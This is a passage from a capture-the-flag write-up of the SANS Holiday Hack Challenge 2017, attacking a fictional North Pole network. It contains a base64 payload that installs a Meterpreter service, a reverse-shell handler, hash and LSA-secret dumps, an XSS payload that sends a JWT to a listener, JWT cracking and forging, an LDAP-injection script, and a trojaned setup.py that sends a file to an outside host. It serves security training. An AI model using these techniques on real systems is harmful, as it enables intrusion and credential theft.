f_jc6xkfum1 aW1wb3J0IHN5cywgaW1wLCBvcwpkZWYgZ2V0X21vZChtb2RuYW1lKToKICAgIGZkLCBwYXRoLCBk ZXNjID0gaW1wLmZpbmRfbW9kdWxlKG1vZG5hbWUsIHN5cy5wYXRoWzo6LTFdKQogICAgcmV0dXJu IGltcC5sb2FkX21vZHVsZSgib3JpZ18iICsgbW9kbmFtZSwgZmQsIHBhdGgsIGRlc2MpCgpsb2Nh bHMoKS51cGRhdGUodmFycyhnZXRfbW9kKF9fbmFtZV9fKSkpCgp0cnk6CiAgICBpZiBub3Qgb3Mu cGF0aC5pc2ZpbGUoIkM6L1dpbmRvd3MvVGVtcC9oYXZlX3J1biIpOgogICAgICAgIG9zLnN5c3Rl bSgnbnNzbSBpbnN0YWxsIHpHcmFiYmVyIEM6XFxVc2Vyc1xcQUxBQkFTfjFcXEFwcERhdGFcXExv Y2FsXFxUZW1wXFwyXFw0NDQ1LmV4ZScpCiAgICAgICAgb3BlbigiQzovV2luZG93cy9UZW1wL2hh dmVfcnVuIiwgJ2EnKS5jbG9zZSgpCiAgICBvcy5zeXN0ZW0oJ25zc20gc3RhcnQgekdyYWJiZXIn KQpleGNlcHQ6CiAgICBwcmludCgiQ291bGQgbm90IHJ1biIpCg== --089e082f74245acc5b05624d7433-- .  Now we just send that over netcat, and wait: $ nc mail.northpolechristmastown.com 25
220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
550 5.7.1 <alabaster.snowball@northpolechristmastown.com>: Recipient address rejected: Message rejected due to: SPF fail - not authorized.


Foiled! If we dig a little deeper however, and we use our nmap scan results, we'll find that there's another SMTP service listening on port 2525 which will allow us to send our e-mail:

220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
MIME-Version: 1.0
Subject: Test E-mail
...
--089e082f74245acc5b05624d7433--
.
250 2.0.0 Ok: queued as 1755CC35D2


If we do a directory listing, we see that our plan worked:

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  7670  fil   2017-12-23 04:28:42 +0000  alabaster_snowball.py
100666/rw-rw-rw-  257   fil   2017-12-23 05:17:52 +0000  execute.ps1
100666/rw-rw-rw-  0     fil   2018-01-09 01:25:40 +0000  file.txt
100666/rw-rw-rw-  228   fil   2018-01-09 01:25:36 +0000  glob.py


Now we just need to launch Metasploit and wait for the service to restart…

$msfconsole -r windows-meterpreter-stageless-reverse-tcp-4445-exe.rc .~+P-o+:. -o+:. .+oooyysyyssyyssyddh++os-   +++++++++++++++++++++++sydhyoyso/:.......-///::+ohhyosyyosyy/+om++:ooo///o ++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy --. .-.-...-////+++++++++++++++////////~~//////++++++++++++/// ............... ...-/////... .::::::::::-. .::::::- .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy .sm/-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh -Nd :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh -Nh .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/ oo/-hd:  .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/ .yNmMMh//+syysso- -mh :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd .shMMMMN//dmNMMMMMMMMMMMMs :-o++++oooo+:/ooooo+:+o+++oooo++/ ///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os: /MMMMMMMMMMMMMMMMMMd. /++-.-yy/...osydh/-+oo:-o//...oyodh+ -hMMmssddd+:dMMmNMMh. .-=mmk.//^^^\\.^^:++:^^o://^^^\\:: .sMMmo. -dMd--:mN/ ||--X--|| ||--X--|| ........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//......... ================================================================================ =====================+--------------------------------+========================= =====================| Session one died of dysentery. |========================= =====================+--------------------------------+========================= ================================================================================ Press ENTER to size up the situation %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Press SPACE BAR to continue =[ metasploit v4.16.14-dev-140955f ] + -- --=[ 1698 exploits - 969 auxiliary - 299 post ] + -- --=[ 500 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] [*] Processing msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc for ERB directives. resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> use exploit/multi/handler resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set PAYLOAD windows/meterpreter_reverse_tcp PAYLOAD => windows/meterpreter_reverse_tcp resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LHOST 1.2.3.4 LHOST => 1.2.3.4 resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LPORT 4445 LPORT => 4445 resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set ExitOnSession false ExitOnSession => false resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> run -j [*] Exploit running as background job 0. Meterpreter session 1 opened (1.2.3.4:4445 -> 35.185.57.190:49672) at 2018-01-09 05:08:43 +0000 msf exploit(handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ HHC17-SMB-SERVE 1.2.3.4:4445 -> 35.185.57.190:49756 (10.142.0.8)  And now, we've managed to elevate our credentials. There are a few "post-exploitation" modules for Meterpreter, which will use our session. For instance, let's dump the hashes on the system: msf exploit(handler) > set -g SESSION 1 SESSION => 1 msf exploit(handler) > use post/windows/gather/credentials/credential_collector msf post(credential_collector) > run [*] Running module against HHC17-SMB-SERVE [+] Collecting hashes... Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: alabaster_snowball:aad3b435b51404eeaad3b435b51404ee:10e2fa00c44d10ca05d399f47ed13351 Extracted: DefaultAccount:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Extracted: sysadmin:aad3b435b51404eeaad3b435b51404ee:27309e9a73764938860b4a1ed7c0392b [+] Collecting tokens... HHC17-SMB-SERVE\alabaster_snowball IIS APPPOOL\DefaultAppPool NT AUTHORITY\IUSR NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM Window Manager\DWM-1 NT AUTHORITY\ANONYMOUS LOGON [*] Post module execution completed  We could try to crack some hashes, but there's an easier way. Let's check the LSA secrets: msf post(credential_collector) > use post/windows/gather/lsa_secrets msf post(lsa_secrets) > info Name: Windows Enumerate LSA Secrets Module: post/windows/gather/lsa_secrets Platform: Windows Arch: Rank: Normal Provided by: Rob Bathurst <rob.bathurst@foundstone.com> Compatible session types: Meterpreter Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 1 yes The session to run this module on. Description: This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio Agazzini and Mubix for decrypt code from cachedump. msf post(lsa_secrets) > run [*] Executing module against HHC17-SMB-SERVE [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [+] Key: DPAPI_SYSTEM Decrypted Value: ,2#B@:o~NY*#(1]Vx [+] Key: NL$KM
Decrypted Value: @.tUb#=VQc_Y%&P1gG;g1p0I)me& }Z/zXP

[+] Key: _SC_agrabber

[*] Writing to loot...
[*] Data saved in: /home/holiday/.msf4/loot/20180109050031_default_10.142.0.8_registry.lsa.sec_967944.txt
[*] Post module execution completed


We can verify this with our hash, or via RDP: alabaster's password is Carried_mass_it_reader1, which matches what we got before.

At this point, the system is pretty well compromised. We were unable to crack the sysadmin user's hash, or pivot from this system to other systems using our privileged access.

We did, however, find some neat things in the Firefox browsing history of the sysadmin user:

'https://www.python.org/downloads/release/python-362/'
'https://nssm.cc/release/nssm-2.24.zip'
'http://localhost/'
'https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx'
'http://localhost/test.aspx'
'https://stackoverflow.com/questions/4388066/the-page-you-are-requesting-cannot-be-served-because-of-the-extension-configura'
'http://exescan.net/exes/a/aspnet_regiis-exe-file'
'https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-an-aspnet-website-on-iis/configuring-step-1-install-iis-and-asp-net-modules'
'https://docs.microsoft.com/en-us/biztalk/core/how-to-enable-asp-net-4-0-for-published-web-services'
'https://az764295.vo.msecnd.net/stable/dcee2202709a4f223185514b9275aa4229841aa7/VSCodeSetup-x64-1.18.0.exe'
'http://127.0.0.1/'
'http://127.0.0.1/evil.aspx'
'http://localhost/cmd.aspx'
'http://localhost/jerry.aspx'
'http://localhost/ok.txt'


### EDB: eLfDAP Injection

#### Question

Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com/. Who wrote the letter?

For hints on solving this challenge, please locate Wunorse Openslae in the North Pole and Beyond.

#### Background Information

We can pull up the website in a web browser, and we see a login page.

We can try some of the passwords we've already recovered, without success. However, at the bottom of the page, there's a support link, which pops up this form:

Wunorse Openslae provides us the following:

Many people don't know this, but most of us elves have multiple jobs here in the North Pole. In addition to working in Santa's workshop, I also work as a help desk support associate for the North Pole Elf Database site. I answer password reset requests, mostly from other elves.

One time, I got a weird email with a JavaScript alert and my account got hacked. Fortunately, Alabaster was able to add some filtering on the system to prevent that from happening again. I sure hope he tested his changes against the common evasion techniques discussed on the XSS filter evasion cheat sheet.

It's never a good idea to come up with your own encryption scheme with cookies. Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.

The interface we use lets us query our directory database with all the employee information. Per Santa's request, Alabaster restricted the search results to just the elves and reindeer. Hopefully, he secured that too. I found an article recently talking about injection against similar databases.

This blog post is explicitly called out:

Understanding and Exploiting Web-based LDAP https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap

#### Goal

The hints lay out a pretty clear path: we can use XSS to send a malicious request to one of the elves or reindeer, and then steal their JWT credential and access the directory.

#### Approach

• Cross-Site Scripting

We begin by focusing on the support form. XSS was heavily hinted at, so let's try a simple payload:

Then we see this pop up:

Busted! Poking around in the source code a bit, we find this snippet in http://edb.northpolechristmastown.com/js/custom.js:

if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) {
$.post( "/service", { uid: help_uid, email: help_email, message: help_message }).done(function( result ) { Materialize.toast('Submitting... Please Wait.', 4000); if (result.bool) { Materialize.toast(result.message, 4000); setTimeout(function(){ window.location.href = result.link; }, 1000); } else { Materialize.toast(result.message, 4000); } }).fail(function(error) { Materialize.toast('Error: '+error.status + " " + error.statusText, 4000); }) } else { Materialize.toast('Alert, Hacker!', 4000);  Reviewing the OWASP Cheat Sheet mentioned in the blog post, we can find several options that don't need a <script> tag. For example: <IMG SRC=/ onerror="document.location='http://sans.edu'"></IMG>  Upon submitting the form, we can view our support request: Once the image doesn't load, we're redirected to the SANS site. Great! First, we tried to steal the cookie, but in reviewing the code at http://edb.northpolechristmastown.com/, we noticed that we needed to steal the token out of local storage: token = localStorage.getItem("np-auth");  A classic XSS attack is to leak the token to a server we control. We'll modify our malicious image to: <IMG SRC=/ onerror="document.location='http://10.142.0.11:4444/?cookie='+localStorage.getItem('np-auth');"> </IMG>  We'll start a netcat listener on the l2s system: $ nc -v -l -p 4444


Next, we'll submit the support form with our malicious message:

http -v --form --proxy=http:socks5://@localhost:32080  POST http://edb.northpolechristmastown.com/service \
uid=alabaster.snowball \
email=alabaster.snowball@northpolechristmastown.com \


A few seconds later, back on l2s:

GET /?cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/reset_request?ticket=L78G1-F4X9X-T4FIR-9C4R4
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
Host: 10.142.0.11:4444

• JWT Token

With the success of the XSS attack, we now know the token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I


Great! Now we just need to modify our local storage, similar to how we added our cookie for EWA, and refresh the page! …and nothing happens. If we look at the Network tab of the Developer Tools, we'll see that there was a request to /login, but it returned false:

Alabaster told me he uses JWT tokens because they are super secure as long as you use a long and complex key. Otherwise, they could be cracked and recreated using any old framework like pyjwt to forge a key.

That seems relevant. Let's check out pyjwt:

>>> import jwt
>>> jwt.decode(token, verify=False)
{'dept': 'Engineering', 'ou': 'elf', 'expires': '2017-08-16 12:00:47.248093+00:00', 'uid': 'alabaster.snowball'}


Unfortunately the token had expired 4 months ago, and could no longer be used to create a new session. The hint mentions that the key needs to be secure – but what if it's not? Let's try cracking it. A bit of Googling later, we end up at jwt2john.py. This can convert the raw token into a format that John the Ripper can understand, and then it can try to crack it.

Our Makefile shows the process for cracking the key:

jwt.john: ../tools/jwt2john.py jwt
python3 ../tools/jwt2john.py $(shell cat jwt) > jwt.john john.txt: jwt.john john --format=HMAC-SHA256 jwt.john john --format=HMAC-SHA256 jwt.john -show > john.txt  To run it, we just run make john.txt: python3 ../tools/jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I > jwt.john john --format=HMAC-SHA256 jwt.john Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 32/64 OpenSSL]) Press 'q' or Ctrl-C to abort, almost any other key for status 3lv3s (?) 1g 0:00:06:22 DONE 3/3 (2018-01-10 10:45) 0.002613g/s 835027p/s 835027c/s 835027C/s 3lv3s Use the "--show" option to display all of the cracked passwords reliably Session completed john --format=HMAC-SHA256 jwt.john -show > john.txt$ cat john.txt
?:3lv3s


Cracking the JWT token took 6 minutes and found that the secret key was 3lv3s. Now we can use pyjwt again to create a spoofed token:

import sys
import jwt

SECRET_KEY='3lv3s'

user = sys.argv[1]
dept = sys.argv[2]
ou = sys.argv[3]

data = {
'dept': dept,
'ou': ou,
'uid': user,
'expires': '2018-08-16 12:00:47.248093+00:00',
}

token = jwt.encode(data, key=SECRET_KEY)
print(token.decode('utf-8'))


Plugging in the values from our expired cookie, we get:

$./make_jwt.py alabaster.snowball Engineering elf eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCJ9.iVg7UqgyCSw688qBLv-n7nD5a1sc9bcMnmTkJKEgIGw  We can plug this into our Local Storage, using the Firefox Developer Tools: Refresh, and… Poking around a little bit, we see that there's a "Santa Panel." Unfortunately, Alabaster's not authorized for that: • LDAP Injection We managed to login to the system, but now let's see what LDAP injection we can do, as we follow the SANS blog post. First, let's see what a standard search looks like, using the Network tab of the Firefox Developer Tools: Why, this looks pretty similar to what the blog post has. Poking around in the source code a little bit, we can see that when we login to the system, and load /home, we get the following snippet in the response: //Note: remember to remove comments about backend query before going into north pole production network /* isElf = 'elf' if request.form['isElf'] != 'True': isElf = 'reindeer' attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')] result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list) #request.form is the dictionary containing post params sent by client-side #We only want to allow query elf/reindeer data */  The LDAP query is a bit hard to parse, so let's take a closer look: ( | # OR-ed clauses ( & # AND-ed clauses ( gn=*' + request.form['name'] + '* ) ( ou='+isElf+' ) ) # What the first query looks for is the name matching any part of the gn field, AND the ou field matching isElf. ( & (sn=*'+request.form['name']+'*) (ou='+isElf+') ) # The second query is very similar, but matches the name against sn instead of gn. )  Some LDAP pseudocode might be: ( ( gn=*$name* ) && (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )  Since we're providing the name field, and it's not being validated, this is a prime target for LDAP injection. We'll try rewriting this as: ( gn=* ) || ( ( cn=* ) || (ou=$isElf) ) || ( (sn=*$name*) && (ou=$isElf) )


Converting this back into an actual LDAP query, our first subquery would be:

(
&
( gn=* )
)

(
|
( cn='* )
( ou='+isElf+' )
)


To get our query formatted that way, our name would be:

))(|(cn=


That worked. We got a list with elves, reindeers – even administrators! Now that we have some information on Santa, let's change our cookie to his, and access the Santa Panel:

./make_jwt.py santa.claus administrators human
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6Imh1bWFuIiwidWlkIjoic2FudGEuY2xhdXMiLCJleHBpcmVzIjoiMjAxOC0wOC0xNiAxMjowMDo0Ny4yNDgwOTMrMDA6MDAifQ.JQ16hqPVuXmJDqA5PgZ4jMwn9RRQAuPuJhNsXfC5ZYk


Nope. Somehow, we'll need to get passwords from LDAP first. At this point, we've managed to query all the entries in LDAP, but the web app restricts which fields we can see. The SANS blog post also discusses modifying parameters to view extra, or different fields. Let's try:

We now have password hashes for all the users! But really, we're after Santa's password. We could try to crack his password, but if we just Google it, it pops up on several sites.

Santa's password hash & password originally were cdabeb96b508f25f97ab0f162eac5a04 and 1iwantacookie, but this was modified to d8b4c05a35b0513f302a85c409b4aab3 (001cookielips001).

Armed with that password, we can access the Santa Panel, where we find:

#### Solution

There was a lot of stuff going on in this question. First, we needed to use XSS to grab a copy of the JWT token, then we had to recover the secret and forge a new token.

Once we logged into the system, we found it was vulnerable to LDAP injection, and were able to dump all the users, and their passwords. Cracking Santa's password allowed us to access the letter from the Wizard of Oz.

We automated this attack with edb.py, which dumps the LDAP database.

Here is edb.py:

#!/usr/bin/env python3
import requests
import sys
import jwt
import json

SECRET_KEY='3lv3s'
PROXY = "socks5h://localhost:31080"

class EDB:
def __init__(self, host='http://edb.northpolechristmastown.com'):
self.host = host
ses = requests.session()
ses.proxies = {
"http": PROXY,
}
self.ses = ses

data = {
'uid': user,
'dept': dept,
'ou': ou,
'expires': '2018-08-16 12:00:47.248093+00:00',
}

token = jwt.encode(data, key=SECRET_KEY)

token = self.make_jwt(user)
resp = self.ses.post(self.host + "/login", data={
"auth_token": token
})
resp.raise_for_status()
#print(resp.text)
resp = self.ses.get(self.host + "/home.html")
resp.raise_for_status()

def ldap_search(self, query):
resp = self.ses.post(self.host + "/search", data={
"isElf": "True",
"attributes": "*",
"name": query,
})
resp.raise_for_status()
return resp.json()

if __name__ == "__main__":
db = EDB()
all_data = db.ldap_search("name=))(department=it)(|(cn=")
print(json.dumps(all_data, indent=True))


And this is edb.py in action:

$./edb.py | head [ [ [ "cn=rudolph,ou=reindeer,dc=northpolechristmastown,dc=com", { "c": [ "US" ], "cn": [ "rudolph" ...  #### Alternatives The website's robots.txt page lists a single entry, http://edb.northpolechristmastown.com/dev/, which leads us to this LDIF file: #LDAP LDIF TEMPLATE dn: dc=com dc: com objectClass: dcObject dn: dc=northpolechristmastown,dc=com dc: northpolechristmastown objectClass: dcObject objectClass: organization dn: ou=human,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: human dn: ou=elf,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: elf dn: ou=reindeer,dc=northpolechristmastown,dc=com objectClass: organizationalUnit ou: reindeer dn: cn= ,ou= ,dc=northpolechristmastown,dc=com objectClass: addressbookPerson cn: sn: gn: profilePath: /path/to/users/profile/image uid: ou: department: mail: telephoneNumber: street: postOfficeBox: postalCode: postalAddress: st: l: c: facsimileTelephoneNumber: description: userPassword:  Knowing the LDAP structure would make it easier to pull out the passwords, but much of the work leading up to that would remain the same. ### Fin: The Evil Good Witch #### Question Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive? To answer this question, you need to fetch at least five of the seven pages of The Great Book and complete the final level of the North Pole and Beyond. #### Solution This answer comes straight from the game. Once we've found at least 5 pages, and completed all the levels, we see the following message: It's always about the money… ## Easter Eggs ### Story Page #### Wintered logo is based on the Wicked stage musical poster. #### Short video is based on video intro to Rudolph the Red-Nosed Reindeer ### North Pole and Beyond #### Stocking The text field for entering the SHA1 hashes of the great book pages appears to have some placeholder text in it, 686579212121202d436f756e746572204861636b. This is in hex and can be converted to ascii, hey!!! -Counter Hack. #### Exploration • NPPD Siren Your browser does not support the video tag. According to the need help page on the NPPD site, "In the event of an emergency, summon the NPPD by moving your mouse cursor back and forth over the menu bar of the website. Doing this from the infractions page gives optimal results." Doing so results in the video above where it looks like a siren. • Star Wars robots references in http://nppd.northpolechristmastown.com/robots.txt The robots.txt page for the nppd site has a number of robot references as user-agents. • hk-47, a hunter-killer assassin droid • threepio, an obvious reference to C3PO. There's a sand-crawler-delay variable set to '421' which could be a reference to the storm trooper, TK-421, who was ambushed on the Millenium Falcon, and incidentally is also the only named Storm Trooper in the original trilogy. • artoo, an obvious reference to R2D2. There's a sand-crawler-delay variable set to '2187' which is likely a reference to the cell that Princess Leia was in on the Death Star. • Munchkins In the Munchin BOLO, the munchkins disappeared after speaking something that sounded like 'puuurzgexgull'. This is most likely a reference to the word 'pyrzqxgl' which was a word described in the book 'The Magic of Oz'. A munchkin, incidentally named 'Bini Aru', like the munchkin in the BOLO, wrote down how to pronounce the word. The word was magical and could be used to transform a being into a different creature. Also, Boq is another munchkin named in the Land of Oz book series. • Reindeer Speak hhhhhhhhhhhhhh723yhmn03z2784mn1 4cv24 2 342 34 zx5p2342zx1 42 10xc 3912 934u xd528034y2dnryhrhndr23n 234f 2bd4 5 8g 7238g4508 s23425 On 11/15/2017 11:18 AM, admin@northpolechristmastown.com wrote: > Keep up the good job reindeer! > > > On 11/15/2017 11:17 AM, reindeer@northpolechristmastown.com wrote: >> t68 2x4-8- 28- 5t 3y=8 m89 cfqlhmniuxdk.hszv3ct79p137p2p t78 23t80 >> x 601x >> >> http://ghk.h-cdn.co/assets/cm/15/11/640x480/54ffe5266025c-dog1.jpg >> >> On 11/15/2017 10:28 AM, admin@northpolechristmastown.com wrote: >>> Hi, >>> >>> Welcome to your new account. >> >  The reindeer appear to be speaking. Or randomly typing. ## Appendices ### Command Execution with pip Early on in the challenge, the EWA and EMI systems had some reliabilty issues. Using the DDE exploit it took a while to get any command execution to work. Any attempt to run a more complicated command would fail. We weren't sure if our commands were failing due to quoting or escaping issues or even how to tell. Eventually it was determined that even a previously known working dir | nc host port command was failing almost every time. Any experiment we could come up with was tainted by the lack of reliability on the backend. Not only was it a blind command injection exploit, but if an attempt failed we had no way of knowing why. We had to run something we KNEW would work, and that would confirm it had been executed. We were able to use dir and nc to determine that Python was installed, and then were able to run python -V. Once we knew we could run Python and pass it arguments, we ran pip: python -m pip install https://my.vps.domain/test.tar.gz  A minute later, we got a hit for test.tar.gz! The benefit of this method is that the command itself does not require any special characters that may need escaping. There are no quotes or pipes or backslashes to worry about. The fact that pip will initially request the file from our server also meant we knew the phishing DDE exploit worked. We could use this method as a solid base to run further experiments. Once the pip command was worked out, the docx file did not need to be changed between runs. With pip working, it was a simple matter of putting together a trojaned setup.py in the style of previous shenanigans seen in the wild The first trojaned package was written by hand: # setup.py from distutils.core import setup setup(name='upload_doc', version='1.2', ) #hax try: import base64 import socket with open("C:/GreatBookPage7.pdf", "rb") as f: document = f.read() encoded = base64.encodestring(document) s=socket.socket() s.connect(('my.vps.domain',44665)) s.send(encoded) s.close() except Exception as e: print("oops") print(e)  We then ran python setup.py sdist  to build the upload_doc-1.2.tar.gz tarball. By copying this file to the VPS, and having pip install it, it would run our Python code. Unfortunately EWA/EMI was having a lot of issues at this time, and it took almost 2 days before we were able to see this work. Fortunately, because we were now using a known good docx file, we knew the problem was not on our end. The trojanpkg.py module automates this by building a tarball in memory based on an arbitrary injected code block. This enables the destination address to be templated in on the fly, instead of hardcoded in the package. This enabled other members of the team to run the exploit code without having to edit the source to match their environment. The trojanpkgweb.py module builds on top of trojanpkg.py to start up a web server that dynamically serves up a trojaned package for any url. ### Cracking Passphrases #### Finding a Wordlist In question 2, we found Alabaster's password, which was pretty strong: stream_unhappy_buy_loss. During the course of the Hack, we found some other passwords, but were only able to crack Santa's password with a simple wordlist. Let's do some digging and see if we can't figure out how Alabaster's password was generated. Googling doesn't help too much, but a GitHub code search does. Searching for stream unhappy buy loss passphrase, the 8th result is pw.py: #!/usr/bin/env python3 # coding=utf-8 # Thanks to http://passphra.se/ words = [ "ability","able","aboard","about","above","accept","accident","according", "account","accurate","acres","across","act","action","active","activity", "actual","actually","add","addition","additional","adjective","adult","adventure", "advice","affect","afraid","after","afternoon","again","against","age", "ago","agree","ahead","aid","air","airplane","alike","alive", "all","allow","almost","alone","along","aloud","alphabet","already", ...  We can verify that all 4 of the words are in that list. The code is even nice enough to link us to http://passphra.se/, which seems like it'd be a handy service for anyone wanting to create some quick passwords. #### Cracking the Passwords In question 8, we recovered some LDAP password hashes. Let's see if we can't crack more of those. Hashcat is our password cracker of choice, but it can't do passphrases from a word list. We only have 1,949 words, and his password had 4 words chosen, so we can create a file with all the two-word combinations, then use Hashcat's combinator mode to try all combinations of two words on the left half and two words on the right half. We'll start by downloading the pw.py file that we found, and then a quick script will create our 2-word combos: #!/usr/bin/env python3 import itertools import pw for x in itertools.permutations(pw.words, 2): print(' '.join(x))  Some Makefile targets to help: password_hashes.txt: edb.json cat edb.json |jq '.[][][]' -c|grep userPassword | jq '"\(.mail[0]):\(.userPassword[0])"' -r > password_hashes.txt password_combos.txt: ../tools/gen_password_combos.py ../tools/gen_password_combos.py > password_combos.txt ls -lh password_combos.txt wc -l password_combos.txt ldap_hashcat.txt: password_hashes.txt password_combos.txt hashcat -m 0 -a 1 password_hashes.txt password_combos.txt password_combos.txt -j ' ' --username || true hashcat -m 0 -a 1 password_hashes.txt password_combos.txt password_combos.txt -j ' ' --username --show | tee ldap_hashcat.txt  And then we can create our combos: $ make password_combos.txt
-rw-r--r--  1 holiday staff    48M Jan 10 17:29 password_combos.txt


A 50 MB file is quite reasonable. Next up, we'll fire up Hashcat:

\$ make ldap_hashcat.txt


On a laptop, performance isn't great. So we got an AWS GPU cracking rig.

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Time.Started.....: Wed Jan 10 14:15:06 2018 (1 minute 8 secs)
Time.Estimated...: Wed Jan 10 14:16:14 2018 (0 secs)
Speed.Dev.#1.....: 27490.8 MH/s (15.27ms)
Speed.Dev.#2.....: 27306.9 MH/s (15.27ms)
Speed.Dev.#3.....: 27213.1 MH/s (15.31ms)
Speed.Dev.#4.....: 27282.2 MH/s (15.28ms)
Speed.Dev.#5.....: 27210.4 MH/s (15.26ms)
Speed.Dev.#6.....: 27154.5 MH/s (15.29ms)
Speed.Dev.#7.....: 27160.6 MH/s (15.29ms)
Speed.Dev.#8.....: 27380.2 MH/s (15.31ms)
Speed.Dev.#*.....:   218.2 GH/s
`

